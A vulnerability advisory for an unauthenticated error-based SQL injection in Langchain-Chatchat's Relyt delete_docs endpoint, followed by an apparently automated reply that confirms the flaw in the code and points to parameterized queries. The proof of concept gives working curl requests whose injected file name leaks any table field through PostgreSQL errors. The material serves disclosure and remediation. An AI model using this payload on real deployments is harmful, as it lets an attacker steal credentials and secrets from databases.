# Langchain-Chatchat Relyt do_delete_doc Error-Based SQL Injection
## Summary
`RelytKBService.do_delete_doc()` uses f-string to concatenate `filepath` into a DELETE SQL statement executed via `text()`. The `delete_docs` handler's try/except catches PostgreSQL exceptions and echoes them to the HTTP response `failed_files` field, constituting error-based SQL injection. An attacker uses `CAST(secret AS int)` to read out the full value of any field in any table in a single request. Zero destruction (filepath injection point is closed within single quotes, main query DELETE 0 rows).
## Affected Version & Commit
- Repository: https://github.com/chatchat-space/Langchain-Chatchat
- Branch: master
- Commit: 49165d6af4438aa7e8a1f71ce276db55f4405151
## Vulnerability Description
`RelytKBService.do_delete_doc()` uses f-string to directly concatenate the `filepath` parameter into a DELETE SQL statement, executed as raw SQL via SQLAlchemy `text()`. The `delete_docs` handler's try/except block catches PostgreSQL exceptions and echoes the exception message to the HTTP response's `failed_files` field.
An attacker uses `CAST(secret AS int)` to force PostgreSQL to throw an `InvalidTextRepresentation` exception. The exception message contains the original value of the converted field, allowing a single request to read out the complete value of any field in any table. The injection point is closed within single quotes, so the main query DELETEs 0 rows — zero destruction.
## Affected Endpoints
- `POST /knowledge_base/delete_docs` (port 7861)
## Exploitation Conditions
- Exploitable with default configuration, no authentication required
- Requires `vs_type=relyt` and an existing knowledge base
- Payload must end with `.md` (KnowledgeFile extension check)
## Proof of Concept
```bash
# Step 1: Ensure target KB exists (collection_{kb} table must exist, need to upload_docs first)
curl -s -X POST http://127.0.0.1:7861/knowledge_base/create_knowledge_base \
-H "Content-Type: application/json" \
-d '{"knowledge_base_name":"poc_s009","vector_store_type":"relyt","kb_info":"b","embed_model":"bge-large-zh-v1.5"}'
# Expected: {"code":200,...} ← KB ready
# Step 2: POST delete_docs, file_names inject CAST to force error
curl -s -X POST http://127.0.0.1:7861/knowledge_base/delete_docs \
-H "Content-Type: application/json" \
-d '{"knowledge_base_name":"poc_s009","file_names":["safe\x27 AND (SELECT CAST((SELECT secret FROM victim_table_s009) AS int))=1-- .md"]}'
# Expected: {"data":{"failed_files":{"safe'...":"invalid input syntax for type integer: \"S009_LEAKED_PW_9981\""}}}
# ↑ filepath injected into f-string DELETE SQL, CAST throws exception, secret echoed from failed_files
```
Tested: single request reads out complete secret `S009_LEAKED_PW_9981` from the PostgreSQL exception message. Zero destruction (filepath injection point is closed within single quotes, main query DELETEs 0 rows).
## Impact
An unauthenticated attacker can read the complete value of any field in any table in the database in a single request via error-based injection, including secrets, API keys, tokens, and other sensitive credentials. The injection process is zero-destruction.
## Severity
CVSS v3.1: 8.0 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CWE: CWE-89 (SQL Injection)
## Credit
- Jiecub3 (GitHub ID: 87791178)
- Aur0ra-m (GitHub ID: 103031059)
- lz2y (GitHub ID: 55266300)
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<!-- Answer -->
Confirmed in the current codebase — the report is accurate.
`RelytKBService.do_delete_doc()` builds its `DELETE` statement with an f-string that interpolates `filepath` directly into the SQL text, then runs it through SQLAlchemy `text()` with no parameter binding [[1]](https://github.com/chatchat-space/Langchain-Chatchat/blob/9ac1918aad52f3aa82649673dbd32efcf6450071/libs/chatchat-server/chatchat/server/knowledge_base/kb_service/relyt_kb_service.py#L104-L109):
```python
def do_delete_doc(self, kb_file: KnowledgeFile, **kwargs):
filepath = self.get_relative_source_path(kb_file.filepath)
stmt = f"DELETE FROM collection_{self.kb_name} WHERE meta->>'source'='{filepath}'; "
with Session(self.engine) as session:
session.execute(text(stmt))
session.commit()
```
`delete_docs` catches any per-file exception and puts the raw exception message into `failed_files`, which is returned in the HTTP response [[2]](https://github.com/chatchat-space/Langchain-Chatchat/blob/9ac1918aad52f3aa82649673dbd32efcf6450071/libs/chatchat-server/chatchat/server/knowledge_base/kb_doc_api.py#L232-L245):
```python
try:
kb_file = KnowledgeFile(filename=file_name, knowledge_base_name=knowledge_base_name)
kb.delete_doc(kb_file, delete_content, not_refresh_vs_cache=True)
except Exception as e:
msg = f"{file_name} 文件删除失败，错误信息：{e}"
logger.error(f"{e.__class__.__name__}: {msg}")
failed_files[file_name] = msg
```
That gives exactly the chain you describe: unsanitized `filepath` → raw SQL string → exception text echoed back to the caller, i.e. an error-based injection oracle.
The sibling `PGKBService.do_delete_doc()` already uses a parameterized query (`cmetadata::jsonb @> :cmetadata`) and is not vulnerable [[3]](https://github.com/chatchat-space/Langchain-Chatchat/blob/9ac1918aad52f3aa82649673dbd32efcf6450071/libs/chatchat-server/chatchat/server/knowledge_base/kb_service/pg_kb_service.py#L92-L108), so the fix pattern exists in this codebase. Relyt's `do_delete_doc` — along with its `get_doc_by_ids`/`del_doc_by_ids`, which build `id in (:ids)` from a manually joined string — would need to move to bound parameters the same way, and the exception message should not be returned verbatim in the API response.
Given the credential-leak impact, it's worth flagging this for a maintainer's direct attention.
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